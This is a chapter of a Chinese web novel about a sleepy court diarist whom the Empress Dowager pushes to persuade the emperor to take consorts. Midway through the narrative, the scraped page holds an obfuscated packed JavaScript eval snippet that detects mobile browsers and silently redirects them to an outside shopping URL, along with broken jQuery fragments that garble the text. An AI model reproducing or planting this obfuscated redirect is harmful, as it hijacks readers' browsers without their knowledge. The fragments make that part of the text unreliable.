文趣网 > 其他小说 > 起居郎总是睡不醒 > 13. 说客
    江南枝磕着瓜子看戏,和身边的徐一远聊天。

    徐一远看懂太后意图,说:“春宴事小,太后明显就是要充盈后宫。”

    江南枝置若罔闻,安静嗑瓜子。

    好好的春宴,赵序不想因为这种事不爽,像赵津那般推脱。

    太后早有准备,充盈后宫本就职责所在,哪里能管赵序的意思,但真要硬着来,又真的怕人生气,只能哄着说:“哀家叫了适龄的女子进宫来玩,这几日清闲,你也走走看,有没有合眼的。”

    赵序不去接话,只是颔首,接着示意开了宴席。

    太后几次三番想把充盈后宫的事说一说,赵序都没给机会。

    到结束还憋在嘴里。

    起居郎的位置坐的近,一场下来全看在眼里。

    “你们说皇上为什么不纳妃啊。”徐一远说:“京城这么多美人,没一个看上眼的吗?”

    徐枫渡轻哼,说:“皇上勤政,儿女情长之事忽略了也正常。”

    “这皇上纳妃立后,哪能叫儿女情长的事?”徐一远不认同,说:“这是国家大事,不然这偌大的江山社稷传给谁?”

    徐枫渡:“既然是国家大事,那就更不能草率。”

    徐一远拉过江南枝:“你就要和我反着说,我说不过你,让南枝说。”

    江南枝手中瓜子掉在桌上,说:“我说什么?我就觉得皇上挺惨。”

    江延清和梁秀早年一见钟情,互许终生,提亲大婚没有一点拖沓,梁秀没有家世,江延清已经是正五品官员,这么多年,江延清一个妾都没纳过。

    和梁秀应了那句一生一世一双人。

    很幸福,很美好。

    江南枝羡慕,同时也追求这种爱情。

    但赵序不可以,他是一国之君,考虑的事情很多,家世人品能力都在范围内,唯独自己的感情最不重要。

    春宴散,赵序在百官的恭敬下离开,人一走,才开始熙熙攘攘的散席。

    这个时辰,正是江南枝当值,他捏着腰,满心抗拒当值。

    伺候太后的老宫女上前,说:“江大人留步,太后娘娘请您过去。”

    太后找他做什么?被带到太后面前,江南枝还是一头雾水。

    见面地方就在园林里的小亭里,抬眼就能看见正在赏花的女子们,各个精心打扮,坐在一起嬉笑。

    很快,江南枝就明白了缘由。

    太后:“南枝,你们身为起居郎,不仅仅关注起居注那些小事。”

    “太后说的是。”江南枝附和着。

    太后点点头,时间紧迫,也不客套,直截了当道:“先皇像他这般年纪,早就三宫六院了,皇上现在这样可不行,这话小圆子去说没用,还是得你们起居郎去提醒着。”

    江南枝汗颜,“太后说的是。”

    太后一噎,也不知道江南枝是真傻还是在装傻,叹了口气说:“孙副将家的孙宛年龄正好,哀家很是看中,这是画像,你瞧瞧。”

    画像精致,上面的女子面容更是精致,大眼小鼻,眼下的红痣更多添了些妩媚,画像上的笑容,又有天生让人想要保护的欲望。

    很美。

    若是和赵序走在一起,定是人人称赞的佳偶天成。江南枝抿着唇想。

    “皇上做事,臣去劝说怕是无能为力。”江南枝实话实说。

    太后:“总要有人去劝的,除了小圆子,你在皇上身边时间最长,过两日就是宫外的灯会,皇上也很久没出过宫了,春宴就好好休息休息,出去逛逛。”

    江南枝攥着画像的手一紧,脱口道:“皇上不会去的。”

    “所以要你去劝。”太后向后靠,命令道:“哀家已经打听好了,孙宛会去猜灯谜,到时候你定要让皇上也过去。”

    过去又能怎样?

    过去,赵序就能喜欢吗?

    江南枝没本事让赵序出去,自然想推脱,太后却没给他机会,说完话就让人送他出去。

    临走前,太后说:“这件事你完成的好了,哀家会同皇上说,让你不用每天值晚班,和他们一起排班,自然也不用每天都去跑步。”

    江南枝脚步一顿,这好处就太吸引人了。

    思虑半晌,还是答应了。

    赵序说一不二,不受命令,自己打定的主意谁说都没用,这是江南枝摸索出来的,平日小圆子唠叨两句多喝水,赵序都会说他多嘴。

    虽然答应了太后,但江南枝毫无头绪。

    春假开始,赵序也难得清闲,在御书房看书也不动。

    小圆子劝道:“皇上,外面天气好,不然也出去逛逛吧。”

    “太后找进宫的人走了吗?”赵序翻动书页,问道。

    小圆子:“快到关宫门的时辰了,应该是都回去了。”

    赵序这才放下手中的书,愿意出去走上一走。

    皓月当空,晚风轻拂,温柔的月光照的朦胧,周围静悄悄的风声,空气中还有鲜花的香气,江南枝很享受在这里闲步。

    赵序没叫人陪同,只有江南枝和小圆子跟着。

    “小圆子。”

    “怎么了,皇上?”

    赵序捏着飘荡的柳枝,说:“回头吩咐下去,无官职之人没有朕的许可,不可入宫,好好的石子路,现在遍地都是花瓣。”

    江南枝润湿干涩的嘴唇,鼓起勇气说:“太后娘娘也是为后宫考虑,就是心急了些。”

    “怎么,太后找你当说客了?”

    江南枝故作镇定,说:“臣不敢瞒皇上,但可能自小受家父家母的影响,臣并不赞同太后娘娘的做法,有些事还是讲缘分的。”

    赵序颔首,说:“不论是学业还是感情,先生都不愧是先生。”

    赵序尊敬江延清,甚至说是崇拜,所以每当江南枝做错事,会格外的生气,暗想江延清的儿子怎么可以这么蠢。

    赵序打量着江南枝,江南枝心虚,瑟缩着扭开脖子:“不知细叶谁裁出,二,三月的春风似剪刀啊。”

    赵序把这情绪尽收眼底,没忍住轻笑,又像轻哼,江南枝没敢回头去分辨,一心扑在柳树上。

    江南枝肆无忌惮的闯祸,随时随地睡觉,甚至有胆子睡在养心殿,不同于寻常人对赵序的恐惧,有种未被世俗、官场污染的纯净。

    每当看到这双水润清澈的眼睛,赵序就会想去留住这份干净,同时也肯定,江延清的儿子就该是这样。

    “江爱卿再摸下去,手都要被染上了柳色。”赵序说:“若是喜欢那柳条,朕便赐于你。”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17875128|212371||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    赐人柳条,是要让他被抽,还是让他抽别人。

    江南枝擦汗,收下赏赐。

    赵序让江南枝留在宫里,倒也不好一直住在御书房偏殿,他又没有后宫,为了早上方便江南枝去御花园跑步,便让小圆子安排到了后宫小住。

    后宫荒了三年,终于迎来了第一个人,太监宫女伺候的那叫认真,简直把江南枝当皇后伺候着,起初江南枝还觉得别扭,后来住了几天,发现是真舒服。

    落梅宫正如其名,梅花落在宫内,亮色让整个宫染上生命与活力,位置也非常好,和养心殿斜对角,中间只隔着一条路。

    透过圆拱门,偏头就能看到赵序。

    江南枝抖抖柳条,笑着关上自己宫门。

    就算不为‘国家大事’着想,江南枝为了自己的自由,太后催促的事,他也要好好办。

    但江南枝是真的拿赵序没办法,不仅他愁,桌子上和他面对面的小圆子也愁。

    “太后也找你了是不是?”江南枝问道。

    小圆子诶哟一声,说:“听这意思,也找江大人您了吧。”

    两人眼神对上信号。

    赵序赏赐的柳条,横放在中间,心照不宣,四目对峙,房门一关,烛火一吹,像是讨论惊天动地的大事。

    “此事,圆公公你怎么看?”

    “依老奴看,这件事可谓是一字难。”

    江南枝双手交叠,说:“难也要办。”

    小圆子同步,说:“如何办?”

    空气陷入凝滞,窗户钻入的风声今夜格外的吵,江南枝和小圆子排排坐,一个好的办法都没想出来。

    江南枝恨不得拿坛好酒,来给两人消愁,奈何后宫禁酒。

    遗憾作罢。

    “不如这样。”

    宁静之下,江南枝猛地拍桌而立,小圆子收住嘴角口水,头直奔圆桌,分毫贴上又立马抬起,脸颊红印暴露无遗,茫然的滚着喉头。

    江南枝没分心给快睡着的小圆子,从手中变出两个核桃,一大一小,油光锃亮。

    江南枝一手一个握拳在小圆子眼前,说:“我们可以做一出戏,让皇上出去。”

    小圆子指着两个不漏边的拳,问:“那江大人这是要做什么?”

    “比大小。”江南枝说:“宫中没有骰子,只能拿这个凑活了,抓到大的人就去作戏,小的人就捧戏怎么样?”

    江南枝的笑里一定没好事,小圆子推脱:“这主意是江大人想的,江大人更熟悉,奴才给您做衬就好。”

    江南枝不语,只是笑容加深。

    小圆子:“……”

    他小心的选着,看到江南枝笑容僵硬,立马肯定,成功选中小的那颗核桃,瞧着核桃有些疑惑,好像在哪见过。

    江南枝处事不惊,眼睛一转,把核桃全放在小圆子手上,说:“按照规矩,要三局两胜才对的。”

    小圆子:“这是哪来的规矩……”

    “当然是香满居酒楼。”江南枝说。

    “您这不就是在诓老奴吧……”

    小圆子自小在宫,被斩断了去烟花之地的念头,自然是不知道规矩的,有没有诓骗他也无从考察。

    江南枝眼珠一晃,说:“怎么会,我最诚实了。”